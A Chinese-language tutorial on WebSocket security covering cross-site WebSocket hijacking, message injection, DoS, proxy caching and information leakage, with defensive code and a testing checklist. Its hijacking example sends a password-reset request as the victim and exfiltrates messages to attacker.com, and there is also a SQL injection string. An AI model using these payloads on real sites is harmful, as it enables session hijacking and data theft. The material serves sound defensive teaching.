WebSocket安全:双向通信的风险
WebSocket 是一种在单个 TCP 连接上进行全双工通信的协议。它解决了 HTTP 轮询的效率问题,让服务器可以主动向客户端推送数据。从实时聊天到在线游戏,从股票行情到协同编辑,WebSocket 已经成为现代 Web 应用不可或缺的技术。
但便利往往伴随着风险。WebSocket 的双向、长连接特性,让它成为了攻击者的新目标。
WebSocket 基础
协议握手
WebSocket 连接始于一个 HTTP 升级请求:
GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13服务器响应:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=握手完成后,连接从 HTTP 升级为 WebSocket,后续数据以帧(frame)的形式传输。
与 HTTP 的关键差异
| 特性 | HTTP | WebSocket |
|---|---|---|
| 连接模式 | 请求-响应 | 全双工 |
| 连接时长 | 短连接 | 长连接 |
| 服务器推送 | 不支持(需轮询) | 原生支持 |
| 头部开销 | 每次请求都带 | 握手后无头部 |
| 状态管理 | 无状态 | 有状态(连接级) |
这些差异带来了全新的安全挑战。
常见攻击面
1. 跨站 WebSocket 劫持(CSWSH)
这是 WebSocket 版的 CSRF。攻击者诱导用户访问恶意页面,该页面尝试建立到目标网站的 WebSocket 连接。
漏洞原理:
WebSocket 握手基于 HTTP,因此会携带用户的 Cookie。如果服务器仅依赖 Cookie 进行身份验证,攻击者就能以用户身份建立连接。
攻击代码:
// 攻击者的恶意页面
var ws = new WebSocket('wss://victim.com/chat');
ws.onopen = function() {
// 连接成功,以受害者身份发送消息
ws.send(JSON.stringify({
to: 'admin',
message: '请重置我的密码为 123456'
}));
};
ws.onmessage = function(event) {
// 接收并外泄消息
fetch('https://attacker.com/steal?data=' + btoa(event.data));
};防御措施:
- Origin 校验: 检查
Origin头,拒绝非预期来源的请求 - Token 认证: 握手时在 URL 参数或子协议中传递一次性 Token
- SameSite Cookie: 设置
SameSite=Strict或Lax
# 正确的 Origin 校验(Python/Flask)
from flask import request, abort
@app.route('/ws')
def websocket_handler():
origin = request.headers.get('Origin')
allowed_origins = ['https://example.com', 'https://app.example.com']
if origin not in allowed_origins:
abort(403)
# 继续处理 WebSocket 握手2. 消息伪造与注入
WebSocket 消息通常采用 JSON 格式。如果服务器未对消息内容进行充分验证,可能导致各种注入攻击。
SQL 注入示例:
// 客户端发送
ws.send(JSON.stringify({
action: 'get_history',
user_id: '1 OR 1=1 --'
}));如果服务器直接拼接 SQL:
# 危险的代码
query = f"SELECT * FROM messages WHERE user_id = '{data['user_id']}'"防御措施:
- 对所有输入进行参数化查询
- 使用 JSON Schema 验证消息结构
- 限制消息字段的类型和长度
# 安全的做法
from jsonschema import validate
message_schema = {
"type": "object",
"properties": {
"action": {"type": "string", "enum": ["get_history", "send_msg"]},
"user_id": {"type": "integer"}
},
"required": ["action", "user_id"]
}
def handle_message(data):
validate(instance=data, schema=message_schema)
# 现在可以安全地使用参数化查询
cursor.execute("SELECT * FROM messages WHERE user_id = %s", (data['user_id'],))3. 拒绝服务(DoS)
WebSocket 的长连接特性使其成为 DoS 攻击的理想目标。
攻击方式:
- 连接耗尽: 大量客户端建立连接但不发送数据,耗尽服务器文件描述符
- 消息洪泛: 高速发送大量消息,消耗 CPU 和内存
- 大消息攻击: 发送超大帧或分片消息,触发内存溢出
// Node.js / ws 库配置
const WebSocket = require('ws');
const wss = new WebSocket.Server({
port: 8080,
// 限制消息大小(1MB)
maxPayload: 1024 * 1024,
// 心跳检测
perMessageDeflate: false
});
// 连接数限制
const MAX_CONNECTIONS = 10000;
const connectionLimiter = new Map();
wss.on('connection', (ws, req) => {
const ip = req.socket.remoteAddress;
// IP 级连接限制
const count = connectionLimiter.get(ip) || 0;
if (count >= 5) {
ws.close(1008, 'Too many connections');
return;
}
connectionLimiter.set(ip, count + 1);
// 消息速率限制
let messageCount = 0;
const resetInterval = setInterval(() => {
messageCount = 0;
}, 1000);
ws.on('message', (data) => {
messageCount++;
if (messageCount > 100) {
ws.close(1008, 'Rate limit exceeded');
return;
}
// 处理消息
});
ws.on('close', () => {
clearInterval(resetInterval);
connectionLimiter.set(ip, (connectionLimiter.get(ip) || 1) - 1);
});
});4. 代理与缓存投毒
某些代理服务器不理解 WebSocket,可能错误地缓存或转发消息。
风险场景:
- 透明代理尝试缓存 WebSocket 流量
- 负载均衡器未正确配置 sticky session
- CDN 误将 Upgrade 请求当作普通 HTTP 处理
- 使用 WSS(WebSocket Secure),强制 TLS 加密
- 配置正确的
Cache-Control: no-store - 确保中间件支持 WebSocket(如 Nginx 的
proxy_http_version 1.1)
# Nginx WebSocket 配置
location /ws {
proxy_pass http://backend;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
# 禁用缓存
proxy_cache off;
proxy_buffering off;
# 超时配置
proxy_read_timeout 86400;
proxy_send_timeout 86400;
}5. 信息泄露
WebSocket 连接建立后,服务器可能推送敏感信息给未授权的用户。
典型漏洞:
// 聊天应用错误地广播所有消息
ws.on('message', (data) => {
const msg = JSON.parse(data);
// 危险:广播给所有连接,不检查权限
wss.clients.forEach(client => {
client.send(JSON.stringify(msg));
});
});正确做法:
// 基于房间的权限控制
class ChatRoom {
constructor() {
this.rooms = new Map(); // roomId -> Set<ws>
this.userRooms = new Map(); // ws -> Set<roomId>
}
join(ws, roomId, userId) {
// 验证用户是否有权限加入该房间
if (!this.canAccess(userId, roomId)) {
ws.close(1008, 'Access denied');
return;
}
if (!this.rooms.has(roomId)) {
this.rooms.set(roomId, new Set());
}
this.rooms.get(roomId).add(ws);
this.userRooms.get(ws).add(roomId);
}
broadcast(roomId, message, senderWs) {
const room = this.rooms.get(roomId);
if (!room) return;
room.forEach(client => {
// 可选:排除发送者
if (client !== senderWs && client.readyState === WebSocket.OPEN) {
client.send(JSON.stringify(message));
}
});
}
}安全测试方法
手工测试
- Origin 校验测试:
# 使用 wscat 测试 Origin 校验
wscat -c "wss://target.com/ws" -H "Origin: https://evil.com"
# 如果连接成功,说明 Origin 校验缺失- 认证绕过测试:
# 不带 Cookie 尝试连接
wscat -c "wss://target.com/ws" --no-check
# 观察是否能接收数据- 消息格式测试:
// 发送畸形数据
ws.send("not json");
ws.send("{invalid json");
ws.send(JSON.stringify({action: null}));
ws.send(JSON.stringify({action: "A".repeat(10000)}));自动化工具
- Burp Suite: 支持 WebSocket 拦截和重放
- OWASP ZAP: 可扫描 WebSocket 漏洞
- wscat: 命令行 WebSocket 客户端
安全开发 checklist
- [ ] 握手时校验 Origin 头
- [ ] 使用 Token 而非仅依赖 Cookie 认证
- [ ] 实施消息格式验证(JSON Schema)
- [ ] 设置消息大小限制
- [ ] 实施速率限制
- [ ] 限制单 IP 连接数
- [ ] 使用 WSS 而非 WS
- [ ] 实施基于角色的消息路由
- [ ] 配置心跳检测(ping/pong)
- [ ] 记录和监控异常连接模式
- [ ] 设置合理的连接超时
- [ ] 禁用不必要的子协议
总结
WebSocket 为 Web 应用带来了实时通信的能力,但也引入了新的攻击面。跨站劫持、消息注入、拒绝服务、信息泄露是主要风险。
安全使用 WebSocket 的关键在于:
- 严格的 Origin 和认证校验 — 防止未授权连接
- 输入验证和速率限制 — 防止注入和 DoS
- 最小权限的消息路由 — 防止信息泄露
- WSS 加密传输 — 防止中间人攻击